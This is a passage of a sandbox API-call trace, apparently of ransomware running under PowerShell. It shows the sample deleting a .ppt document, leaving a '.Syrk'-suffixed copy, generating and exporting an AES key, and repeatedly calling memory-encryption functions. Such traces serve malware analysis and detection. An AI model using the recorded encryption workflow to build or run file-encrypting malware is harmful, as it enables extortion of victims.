fInfoLevelId=0x0, lpFileInformation=0x23c0574 | out: lpFileInformation=0x23c0574*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38ac1110, ftCreationTime.dwHighDateTime=0x1d98ed1, ftLastAccessTime.dwLowDateTime=0xbe250fe0, ftLastAccessTime.dwHighDateTime=0x1d98f17, ftLastWriteTime.dwLowDateTime=0xbe250fe0, ftLastWriteTime.dwHighDateTime=0x1d98f17, nFileSizeHigh=0x0, nFileSizeLow=0xceb4)) returned 1 [0224.389] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0224.389] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\TiksC6kLaNE3N.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\z0wghk\\tiksc6klane3n.ppt")) returned 1 [0224.411] EtwEventActivityIdControl () returned 0x0 [0224.411] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0224.411] EtwEventActivityIdControl () returned 0x0 [0224.411] EtwEventActivityIdControl () returned 0x0 [0224.411] EtwEventActivityIdControl () returned 0x0 [0224.418] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\TiksC6kLaNE3N.ppt.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\z0wghk\\tiksc6klane3n.ppt.syrk")) returned 0x20 [0224.419] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\TiksC6kLaNE3N.ppt.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\z0wghk\\tiksc6klane3n.ppt.syrk")) returned 0x20 [0224.419] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\TiksC6kLaNE3N.ppt.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4a [0224.419] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\TiksC6kLaNE3N.ppt.Syrk", nBufferLength=0x4a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\TiksC6kLaNE3N.ppt.Syrk", lpFilePart=0x0) returned 0x49 [0224.419] EtwEventActivityIdControl () returned 0x0 [0224.419] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0224.419] EtwEventActivityIdControl () returned 0x0 [0224.419] EtwEventActivityIdControl () returned 0x0 [0224.419] EtwEventActivityIdControl () returned 0x0 [0224.474] EtwEventActivityIdControl () returned 0x0 [0224.475] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0224.475] EtwEventActivityIdControl () returned 0x0 [0224.475] EtwEventActivityIdControl () returned 0x0 [0224.475] EtwEventActivityIdControl () returned 0x0 [0224.479] EtwEventActivityIdControl () returned 0x0 [0224.480] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0224.480] EtwEventActivityIdControl () returned 0x0 [0224.480] EtwEventActivityIdControl () returned 0x0 [0224.480] EtwEventActivityIdControl () returned 0x0 [0224.484] EtwEventActivityIdControl () returned 0x0 [0224.485] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0224.485] EtwEventActivityIdControl () returned 0x0 [0224.485] EtwEventActivityIdControl () returned 0x0 [0224.485] EtwEventActivityIdControl () returned 0x0 [0224.489] EtwEventActivityIdControl () returned 0x0 [0224.490] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0224.490] EtwEventActivityIdControl () returned 0x0 [0224.490] EtwEventActivityIdControl () returned 0x0 [0224.490] EtwEventActivityIdControl () returned 0x0 [0224.494] EtwEventActivityIdControl () returned 0x0 [0224.498] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0224.498] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\Z0wgHK\\TiksC6kLaNE3N.ppt.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\z0wghk\\tiksc6klane3n.ppt.syrk"), fInfoLevelId=0x0, lpFileInformation=0x23cdecc | out: lpFileInformation=0x23cdecc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ca1e10, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x1ca1e10, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x1d3a390, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0xced4)) returned 1 [0224.499] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0224.500] GetConsoleOutputCP () returned 0x1b5 [0224.500] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0224.500] GetConsoleOutputCP () returned 0x1b5 [0224.500] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0224.500] GetConsoleOutputCP () returned 0x1b5 [0224.500] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0224.500] GetConsoleOutputCP () returned 0x1b5 [0224.501] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0224.501] GetConsoleOutputCP () returned 0x1b5 [0224.501] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0224.501] GetConsoleOutputCP () returned 0x1b5 [0224.501] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0224.501] GetConsoleOutputCP () returned 0x1b5 [0224.502] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0224.502] GetConsoleOutputCP () returned 0x1b5 [0224.502] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0224.502] GetConsoleOutputCP () returned 0x1b5 [0224.502] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0224.502] GetConsoleOutputCP () returned 0x1b5 [0224.502] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0224.502] GetConsoleOutputCP () returned 0x1b5 [0224.503] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0224.503] GetConsoleOutputCP () returned 0x1b5 [0224.503] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0224.503] GetConsoleOutputCP () returned 0x1b5 [0224.503] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0224.503] GetConsoleOutputCP () returned 0x1b5 [0224.503] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0224.503] GetConsoleOutputCP () returned 0x1b5 [0224.504] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0224.504] GetConsoleOutputCP () returned 0x1b5 [0224.547] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0224.547] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0224.548] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0224.548] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x23e8154*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x23e8154*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0224.549] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0224.549] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0224.550] EtwEventActivityIdControl () returned 0x0 [0224.550] EtwEventActivityIdControl () returned 0x0 [0224.550] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0224.551] EtwEventActivityIdControl () returned 0x0 [0224.551] EtwEventActivityIdControl () returned 0x0 [0224.551] EtwEventActivityIdControl () returned 0x0 [0224.553] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0224.554] EtwEventActivityIdControl () returned 0x0 [0224.554] EtwEventActivityIdControl () returned 0x0 [0224.554] EtwEventActivityIdControl () returned 0x0 [0224.556] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d210) returned 1 [0224.557] CryptGenKey (in: hProv=0x5c4d210, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c99520) returned 1 [0224.557] CryptContextAddRef (hProv=0x5c4d210, pdwReserved=0x0, dwFlags=0x0) returned 1 [0224.557] CryptExportKey (in: hKey=0x5c99520, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0224.557] CryptExportKey (in: hKey=0x5c99520, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x23efb2c, pdwDataLen=0x5a2e8c4 | out: pbData=0x23efb2c*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0224.557] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0224.558] EtwEventActivityIdControl () returned 0x0 [0224.558] EtwEventActivityIdControl () returned 0x0 [0224.558] EtwEventActivityIdControl () returned 0x0 [0224.559] SysStringLen (param_1="") returned 0x8 [0224.559] SysStringLen (param_1="N") returned 0x8 [0224.559] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.559] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0224.559] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0224.559] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.559] SysStringLen (param_1="Nw") returned 0x8 [0224.560] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.560] SysStringLen (param_1="ꇤ\盝彏轢ᜀ㪠껫∐) returned 0x8 [0224.560] SysStringLen (param_1="ꇤ\盝彏轢ᜀ㪠껫∐) returned 0x8 [0224.560] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.560] SysStringLen (param_1="Nw4") returned 0x8 [0224.560] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.560] SysStringLen (param_1="⠣㜐峙\ߝ㧧⬌䢰≅) returned 0x8 [0224.560] SysStringLen (param_1="⠣㜐峙\ߝ㧧⬌䢰≅) returned 0x8 [0224.560] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.560] SysStringLen (param_1="Nw4c") returned 0x8 [0224.560] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.561] SysStringLen (param_1="켃犏ᦡ뒊ꭗれA쪗") returned 0x8 [0224.561] SysStringLen (param_1="켃犏ᦡ뒊ꭗれA쪗") returned 0x8 [0224.561] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.561] SysStringLen (param_1="Nw4c8") returned 0x8 [0224.561] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.561] SysStringLen (param_1="頴驝ჶ塧ະ棙혍") returned 0x8 [0224.561] SysStringLen (param_1="頴驝ჶ塧ະ棙혍") returned 0x8 [0224.561] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.561] SysStringLen (param_1="Nw4c81") returned 0x8 [0224.561] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.562] SysStringLen (param_1="迕❳▪␹ᾁⲆ湯쏦") returned 0x8 [0224.562] SysStringLen (param_1="迕❳▪␹ᾁⲆ湯쏦") returned 0x8 [0224.562] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.562] SysStringLen (param_1="Nw4c817") returned 0x8 [0224.562] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.562] SysStringLen (param_1="ꎣᙶ䝕봸膨ᵁﲕ") returned 0x8 [0224.562] SysStringLen (param_1="ꎣᙶ䝕봸膨ᵁﲕ") returned 0x8 [0224.562] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.562] SysStringLen (param_1="Nw4c817N") returned 0x8 [0224.562] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0224.563] SysStringLen (param_1="縊㐟㴈๪\髛≚) returned 0x8 [0224.564] SysStringLen (param_1="縊㐟㴈๪\髛≚) returned 0x8 [0224.564] SysStringLen (param_1="縊㐟㴈๪\髛≚) returned 0x8 [0224.564] SysStringLen (param_1="縊㐟㴈๪\髛≚) returned 0x10 [0224.565] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.565] SysStringLen (param_1="Nw4c817Nr\盙왃薇覅ᑚꆨ⊗) returned 0x10 [0224.565] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.565] SysStringLen (param_1="縊㐟㴈๪\髛⭚ế滝鞴퓚溑ꠚᶁ∘) returned 0x10 [0224.565] SysStringLen (param_1="縊㐟㴈๪\髛⭚ế滝鞴퓚溑ꠚᶁ∘) returned 0x10 [0224.565] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.565] SysStringLen (param_1="Nw4c817Nr/䍶蟆薅媉ꠔ鞡") returned 0x10 [0224.565] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.565] SysStringLen (param_1="縊㐟㴈๪\髛湚\䟚뎿漇䵘渟쩾") returned 0x10 [0224.565] SysStringLen (param_1="縊㐟㴈๪\髛湚\䟚뎿漇䵘渟쩾") returned 0x10 [0224.565] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.566] SysStringLen (param_1="Nw4c817Nr/U蟆薅媉ꠔ鞡") returned 0x10 [0224.566] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.566] SysStringLen (param_1="縊㐟㴈๪\髛൚௒ᦷτ呕암⊄) returned 0x10 [0224.566] SysStringLen (param_1="縊㐟㴈๪\髛൚௒ᦷτ呕암⊄) returned 0x10 [0224.566] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.566] SysStringLen (param_1="Nw4c817Nr/UZ薅媉ꠔ鞡") returned 0x10 [0224.566] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.566] SysStringLen (param_1="縊㐟㴈๪\髛繚覆珥쉝ヲ勂샋꒬⊇) returned 0x10 [0224.566] SysStringLen (param_1="縊㐟㴈๪\髛繚覆珥쉝ヲ勂샋꒬⊇) returned 0x10 [0224.566] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.566] SysStringLen (param_1="Nw4c817Nr/UZ7媉ꠔ鞡") returned 0x10 [0224.567] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.567] SysStringLen (param_1="縊㐟㴈๪\髛≚竵࠲䒷䣪즇䧑⊮) returned 0x10 [0224.567] SysStringLen (param_1="縊㐟㴈๪\髛≚竵࠲䒷䣪즇䧑⊮) returned 0x10 [0224.567] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.567] SysStringLen (param_1="Nw4c817Nr/UZ7Kꠔ鞡") returned 0x10 [0224.567] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.567] SysStringLen (param_1="縊㐟㴈๪\髛䡚놿鮷而捕鴠㢂⋮) returned 0x10 [0224.567] SysStringLen (param_1="縊㐟㴈๪\髛䡚놿鮷而捕鴠㢂⋮) returned 0x10 [0224.567] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.567] SysStringLen (param_1="Nw4c817Nr/UZ7KJ鞡") returned 0x10 [0224.567] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.568] SysStringLen (param_1="縊㐟㴈๪\髛퍚封뤒葜룞㗲︲⊁) returned 0x10 [0224.568] SysStringLen (param_1="縊㐟㴈๪\髛퍚封뤒葜룞㗲︲⊁) returned 0x10 [0224.568] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.568] SysStringLen (param_1="Nw4c817Nr/UZ7KJZ") returned 0x10 [0224.568] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0224.568] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ≹) returned 0x10 [0224.568] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ≹) returned 0x10 [0224.568] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ≹) returned 0x10 [0224.569] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ≹) returned 0x18 [0224.569] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.569] SysStringLen (param_1="Nw4c817Nr/UZ7KJZK☍鱪놣ꪸ먿됮") returned 0x18 [0224.569] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.569] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ쑹擂⅟强᥊隄槣⊒) returned 0x18 [0224.569] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ쑹擂⅟强᥊隄槣⊒) returned 0x18 [0224.569] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.570] SysStringLen (param_1="Nw4c817Nr/UZ7KJZKw鱪놣ꪸ먿됮") returned 0x18 [0224.570] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.570] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ虹腤垜瀥玥泐\䫙") returned 0x18 [0224.570] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ虹腤垜瀥玥泐\䫙") returned 0x18 [0224.570] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.570] SysStringLen (param_1="Nw4c817Nr/UZ7KJZKw9鱪놣ꪸ먿됮") returned 0x18 [0224.570] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.570] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ婹砠쀶䄦뙼デȸ⋛) returned 0x18 [0224.570] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ婹砠쀶䄦뙼デȸ⋛) returned 0x18 [0224.570] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.570] SysStringLen (param_1="Nw4c817Nr/UZ7KJZKw9x놣ꪸ먿됮") returned 0x18 [0224.570] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.571] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ뭹객㽠熿곞ᵝ≙) returned 0x18 [0224.571] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ뭹객㽠熿곞ᵝ≙) returned 0x18 [0224.571] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.571] SysStringLen (param_1="Nw4c817Nr/UZ7KJZKw9xNꪸ먿됮") returned 0x18 [0224.571] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.571] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉᑹ碵㆚⯋摭䈛啀≄) returned 0x18 [0224.571] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉᑹ碵㆚⯋摭䈛啀≄) returned 0x18 [0224.571] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.571] SysStringLen (param_1="Nw4c817Nr/UZ7KJZKw9xNX먿됮") returned 0x18 [0224.571] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.571] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ桹ᖃ㘥쉱쳏ü묏嫔≓) returned 0x18 [0224.571] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ桹ᖃ㘥쉱쳏ü묏嫔≓) returned 0x18 [0224.572] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.572] SysStringLen (param_1="Nw4c817Nr/UZ7KJZKw9xNXH됮") returned 0x18 [0224.572] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.572] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ膬\ﯞꗥᙩ䌬酭") returned 0x18 [0224.572] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ膬\ﯞꗥᙩ䌬酭") returned 0x18 [0224.572] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.572] SysStringLen (param_1="Nw4c817Nr/UZ7KJZKw9xNXH8") returned 0x18 [0224.572] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0224.572] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ쩹散珈⢷র舝∟) returned 0x18 [0224.573] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ쩹散珈⢷র舝∟) returned 0x18 [0224.573] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ쩹散珈⢷র舝∟) returned 0x18 [0224.573] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ쩹散珈⢷র舝∟) returned 0x20 [0224.573] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.573] SysStringLen (param_1="Nw4c817Nr/UZ7KJZKw9xNXH87荠ᒎ犫㲜ٗ湺특") returned 0x20 [0224.573] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.574] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ쩹散珈⢷র舝㤟鿶ꁛ癥쳳ሖ䖤쭿≙) returned 0x20 [0224.574] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ쩹散珈⢷র舝㤟鿶ꁛ癥쳳ሖ䖤쭿≙) returned 0x20 [0224.574] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.574] SysStringLen (param_1="Nw4c817Nr/UZ7KJZKw9xNXH87nᒎ犫㲜ٗ湺특") returned 0x20 [0224.574] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0224.574] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ쩹散珈⢷র舝‟䱈ת專砀昀搀攀㌀츀ㅍ䤕貜≅) returned 0x20 [0224.574] SysStringLen (param_1="縊㐟㴈๪\髛摚頰帞ꒁ䰦윺䰜ᗉ쩹散珈⢷র舝‟䱈ת專砀昀搀攀㌀츀ㅍ䤕貜≅) returned 0x20 [0224.574] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: 